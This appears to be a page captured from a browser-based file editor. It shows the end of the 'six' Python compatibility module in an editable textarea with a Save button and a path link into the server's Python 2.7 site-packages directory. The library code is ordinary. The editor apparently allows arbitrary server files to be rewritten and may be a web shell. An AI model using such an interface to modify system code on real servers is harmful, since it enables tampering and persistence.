        if from_value is None:
            raise value
        raise value from from_value
    finally:
        value = None
&quot;&quot;&quot;)
elif sys.version_info[:2] &gt; (3, 2):
    exec_(&quot;&quot;&quot;def raise_from(value, from_value):
    try:
        raise value from from_value
    finally:
        value = None
&quot;&quot;&quot;)
else:
    def raise_from(value, from_value):
        raise value


print_ = getattr(moves.builtins, &quot;print&quot;, None)
if print_ is None:
    def print_(*args, **kwargs):
        &quot;&quot;&quot;The new-style print function for Python 2.4 and 2.5.&quot;&quot;&quot;
        fp = kwargs.pop(&quot;file&quot;, sys.stdout)
        if fp is None:
            return

        def write(data):
            if not isinstance(data, basestring):
                data = str(data)
            # If the file has an encoding, encode unicode with it.
            if (isinstance(fp, file) and
                    isinstance(data, unicode) and
                    fp.encoding is not None):
                errors = getattr(fp, &quot;errors&quot;, None)
                if errors is None:
                    errors = &quot;strict&quot;
                data = data.encode(fp.encoding, errors)
            fp.write(data)
        want_unicode = False
        sep = kwargs.pop(&quot;sep&quot;, None)
        if sep is not None:
            if isinstance(sep, unicode):
                want_unicode = True
            elif not isinstance(sep, str):
                raise TypeError(&quot;sep must be None or a string&quot;)
        end = kwargs.pop(&quot;end&quot;, None)
        if end is not None:
            if isinstance(end, unicode):
                want_unicode = True
            elif not isinstance(end, str):
                raise TypeError(&quot;end must be None or a string&quot;)
        if kwargs:
            raise TypeError(&quot;invalid keyword arguments to print()&quot;)
        if not want_unicode:
            for arg in args:
                if isinstance(arg, unicode):
                    want_unicode = True
                    break
        if want_unicode:
            newline = unicode(&quot;\n&quot;)
            space = unicode(&quot; &quot;)
        else:
            newline = &quot;\n&quot;
            space = &quot; &quot;
        if sep is None:
            sep = space
        if end is None:
            end = newline
        for i, arg in enumerate(args):
            if i:
                write(sep)
            write(arg)
        write(end)
if sys.version_info[:2] &lt; (3, 3):
    _print = print_

    def print_(*args, **kwargs):
        fp = kwargs.get(&quot;file&quot;, sys.stdout)
        flush = kwargs.pop(&quot;flush&quot;, False)
        _print(*args, **kwargs)
        if flush and fp is not None:
            fp.flush()

_add_doc(reraise, &quot;&quot;&quot;Reraise an exception.&quot;&quot;&quot;)

if sys.version_info[0:2] &lt; (3, 4):
    def wraps(wrapped, assigned=functools.WRAPPER_ASSIGNMENTS,
              updated=functools.WRAPPER_UPDATES):
        def wrapper(f):
            f = functools.wraps(wrapped, assigned, updated)(f)
            f.__wrapped__ = wrapped
            return f
        return wrapper
else:
    wraps = functools.wraps


def with_metaclass(meta, *bases):
    &quot;&quot;&quot;Create a base class with a metaclass.&quot;&quot;&quot;
    # This requires a bit of explanation: the basic idea is to make a dummy
    # metaclass for one level of class instantiation that replaces itself with
    # the actual metaclass.
    class metaclass(type):

        def __new__(cls, name, this_bases, d):
            return meta(name, bases, d)

        @classmethod
        def __prepare__(cls, name, this_bases):
            return meta.__prepare__(name, bases)
    return type.__new__(metaclass, 'temporary_class', (), {})


def add_metaclass(metaclass):
    &quot;&quot;&quot;Class decorator for creating a class with a metaclass.&quot;&quot;&quot;
    def wrapper(cls):
        orig_vars = cls.__dict__.copy()
        slots = orig_vars.get('__slots__')
        if slots is not None:
            if isinstance(slots, str):
                slots = [slots]
            for slots_var in slots:
                orig_vars.pop(slots_var)
        orig_vars.pop('__dict__', None)
        orig_vars.pop('__weakref__', None)
        return metaclass(cls.__name__, cls.__bases__, orig_vars)
    return wrapper


def python_2_unicode_compatible(klass):
    &quot;&quot;&quot;
    A decorator that defines __unicode__ and __str__ methods under Python 2.
    Under Python 3 it does nothing.

    To support Python 2 and 3 with a single code base, define a __str__ method
    returning text and apply this decorator to the class.
    &quot;&quot;&quot;
    if PY2:
        if '__str__' not in klass.__dict__:
            raise ValueError(&quot;@python_2_unicode_compatible cannot be applied &quot;
                             &quot;to %s because it doesn't define __str__().&quot; %
                             klass.__name__)
        klass.__unicode__ = klass.__str__
        klass.__str__ = lambda self: self.__unicode__().encode('utf-8')
    return klass


# Complete the moves implementation.
# This code is at the end of this module to speed up module loading.
# Turn this module into a package.
__path__ = []  # required for PEP 302 and PEP 451
__package__ = __name__  # see PEP 366 @ReservedAssignment
if globals().get(&quot;__spec__&quot;) is not None:
    __spec__.submodule_search_locations = []  # PEP 451 @UndefinedVariable
# Remove other six meta path importers, since they cause problems. This can
# happen if six is removed from sys.modules and then reloaded. (Setuptools does
# this for some reason.)
if sys.meta_path:
    for i, importer in enumerate(sys.meta_path):
        # Here's some real nastiness: Another &quot;instance&quot; of the six module might
        # be floating around. Therefore, we can't use isinstance() to check for
        # the six meta path importer, since the other six instance will have
        # inserted an importer with different class.
        if (type(importer).__name__ == &quot;_SixMetaPathImporter&quot; and
                importer.name == __name__):
            del sys.meta_path[i]
            break
    del i, importer
# Finally, add the importer to the meta path import hook.
sys.meta_path.append(_importer)
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Flib%2Fpython2.7%2Fsite-packages'>🔙 Back</a></p>